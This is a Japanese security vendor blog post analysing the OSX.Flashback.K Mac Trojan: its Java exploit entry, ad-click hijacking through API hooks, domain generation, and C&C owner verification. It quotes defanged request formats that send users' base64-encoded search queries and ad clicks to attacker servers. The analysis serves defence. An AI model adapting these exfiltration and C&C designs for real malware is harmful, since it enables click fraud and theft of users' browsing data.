最近の一連の記事 [1]、[2]、[3]、[4] を通じて、OSX.Flashback.K による感染の経緯と、感染したコンピュータに関する統計情報をお伝えしてきましたが、今回は、この脅威の内部的な動作について説明します。
OSX.Flashback.K Trojan の最終的な目標は、広告クリックを通じて利益を得ることにあります。そのために、OSX.Flashback.K は複数のコンポーネントを利用しています。次の図は、悪質な JAR ファイルのドライブバイダウンロードを経てユーザーのコンピュータに OSX.Flashback.K がダウンロードされた後で起きる各段階を示しています。
図 1. 脅威の概要
悪質な JAR ファイルは、Oracle Java SE のリモートランタイム環境に存在するサービス拒否の脆弱性(CVE-2012-0507)を悪用して、組み込まれた MachO-1 という実行可能ファイルをコンピュータに投下します。
最初に投下されるこの MachO バイナリファイルが、ダウンローダコンポーネントとしてサーバーと通信して、追加のバイナリファイルをダウンロードします。
ダウンローダコンポーネントが通信するサーバーは、ドメイン名生成アルゴリズム(DGA-1)** によって生成されます。DGA-1 は、現在の日付とハードコード化された値を利用し、以下のトップレベルドメイン(TLD)[3] を使って 1 日当たり 30 件のドメインを生成します。
ダウンロードされるバイナリファイルには、2 つの MachO バイナリが含まれています。ローダー(MachO-2)と、広告クリック処理のためのペイロード(MachO-3)です。どちらのバイナリも、復号されたうえで侵入先のコンピュータに投下されます。MachO-2 バイナリファイルは、最終的に Web ブラウザの一部としてロードされるような形でインストールされますが、そのために、コンピュータ上で取得できる権限やパーミッションに応じて次のいずれかのプロパティリストファイルを書き換えます。
- /Applications/Safari.app/Contents/Info.plist
- ~/.MacOSX/environment.plist
実行された MachO-2 バイナリは MachO-3 バイナリをロードし、CFReadStreamRead() と CFWriteStreamWrite() の 2 つの API をフックして、広告をインジェクトするために Web ブラウザのトラフィックを傍受します。
図 2: ローダー(MachO-1)によるフックの手順
次に、ユーザーの送信ネットワークデータを監視し、検索クエリーや広告がクリックされたかどうかを調べます(下図)。
図 3: Web ブラウザのトラフィックを傍受
この脅威が監視するのは、ユーザーが実行する 2 種類のアクションです。
- Google 広告をクリックする
- 検索エンジンで検索を実行する
このとき、以下のパラメータを識別しようとします。
- GET /url?
- google
- q=
- sa=
- ved=
- usg=
このようなパラメータは、一般的にユーザーが Google 広告をクリックするときに使われます。ホワイトリスト上のドメインがクエリーに存在しない場合、OSX.Flashback.K はクエリーからパラメータを収集して Base64 でエンコードし、次の形式でその情報をコマンド & コントロール(C&C)サーバーに送信します。
hxxp://[
検証済み
C&C
サーバー
]/click?data=[
BASE64
のクリックパラメータ
]
このクエリーが通常の Google 検索の一部であることが確認できると、検索クエリーを取得して次の形式で C&C サーバーに送信します。[4]
hxxp://[
検証済み
C&C
サーバー
]search?q=[
BASE64
のクエリー
]&ua=[
BASE64
ユーザーエージェント
]&al=[
BASE64
認証の言語
]&cv=[
クライアントバージョン
]
この要求の HTTP ヘッダーで使われている [ユーザーエージェント] 部分には、Base64 でエンコードされたユーザーのコンピュータの PlatformUUID が含まれています。これは、攻撃者もこの PlatformUUID を使って応答を暗号化できるように、この要求が間違いなく侵入先のコンピュータから送信されたものであることを確認するための手段です。
[検証済み C&C サーバー] は、MachO-3 バイナリでフックされた CFReadStreamRead() API コードを使ってユーザーのブラウザにインジェクトされる、広告クリックの URL を利用してこのクエリーに応答する部分です。本来は、検索クエリーに対する応答で検索結果が表示されますが、ここで表示される検索結果は、OSX.Flashback.K の作成者が登録しているペイパークリックサービスから提供されるものです。
上の図に示した方法で検索結果を置き換えることによって、OSX.Flashback.K の作成者はユーザーがクリックするたびに金銭を受け取れるようになります。
C&C サーバーの検証
マルウェアが利用する C&C サーバーは、ウイルス対策企業や司法当局によって停止させられたり制御を奪取されたりするのが普通なので、OSX.Flashback には所有者を検証するための方法が組み込まれています。
所有者を検証するために、OSX.Flashback は生成されたドメインリスト(後述)のすべてのドメインに対して、次の形式のクエリーを送信します。
GET /owncheck/ HTTP/1.1
Host: [
C&C
サーバーのドメイン
]
User-Agent: BASE64[プラットフォームの UUID]
Connection: close
これに対して、悪質なサーバーは次の形式で 2 つの部分から成るデータを返信します。
BASE64[Sha1([
サーバードメイン
])]|BASE64[
RSA
署名
]
前半の部分はサーバードメインの sha1() 値、後半の部分は RSA 秘密鍵を使って前半の値に対して署名された RSA 署名です。RSA 秘密鍵を利用するこの手順によって、Flashback の作成者はクエリー先ドメインの制御権があることを確認できます。
検証が済むと、OSX.Flashback は以下のクエリーを使って自身の更新があるかどうかを確認します。
GET /auupdate/ HTTP/1.1
Host: [
検証済み
C&C
サーバーのドメイン
]
User-Agent: BASE64[
感染したコンピュータの情報
]
Connection: close
注意: [感染したコンピュータの情報] の部分は、次のような形式です。
図 4. [感染したコンピュータの情報] の形式
攻撃者は、この方法でマルウェアの新しいバージョンを配信しています。
Twitter ハッシュタグ検索とドメイン生成アルゴリズム(DGA-2)
ハードコード化された C&C サーバーのリストとは別に、OSX.Flashback は次のいずれかの方法で C&C サーバーのアドレスを更新することができます。
- 特定のハッシュタグが付いた Twitter メッセージから取得される C&C サーバーのアドレスから。この Twitter メッセージは、特定のハッシュタグに対するクエリーによって見つけることができます。このハッシュタグは現在の日付に基づいて生成され、事前定義されている 4 文字構成の 34 種類の文字列のリストにおいて日付値(日、月、年)をインデックスとして使い、12 文字のハッシュタグを生成しています。
- ドメイン生成アルゴリズム(DGA-2)で生成される C&C サーバーから。現在の日付に基づいて、事前定義されている 4 文字構成の 34 種類の文字列のリストにおいて日付値(日、月、年)をインデックスとして使って 12 文字のドメイン文字列を生成し、以下に示す事前定義されている 26 種類のトップレベルドメインに組み合わせます。
図 5: 事前定義されている 26 種類のトップレベルドメイン
この攻撃の最終的な動機が、ペイパークリックサービスを通じて広告を提供し金銭を詐取することであるのは確かですが、ドメイン生成アルゴリズムや公開鍵暗号化などのテクニックを使っていることから、攻撃者はマルウェアの作成にかなり精通していることが伺われます。
その熟練度もおそらくは、以前に他の攻撃システムでマルウェアを作成した経験によるものでしょう。
OSX.Flashback をめぐる状況についてはさらに監視を続けますが、いつものように、ウイルス定義やインストールされている他のソフトウェアを最新の状態に保つようにしてください。
** 投下される MachO-1 ダウンローダには 2 種類あることが確認されています。1 つは通信先のサーバーアドレスがハードコード化されたもの、もう 1 つはドメイン生成アルゴリズム(DGA-1)が埋め込まれたものです。ここでは後者について説明しています。
* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。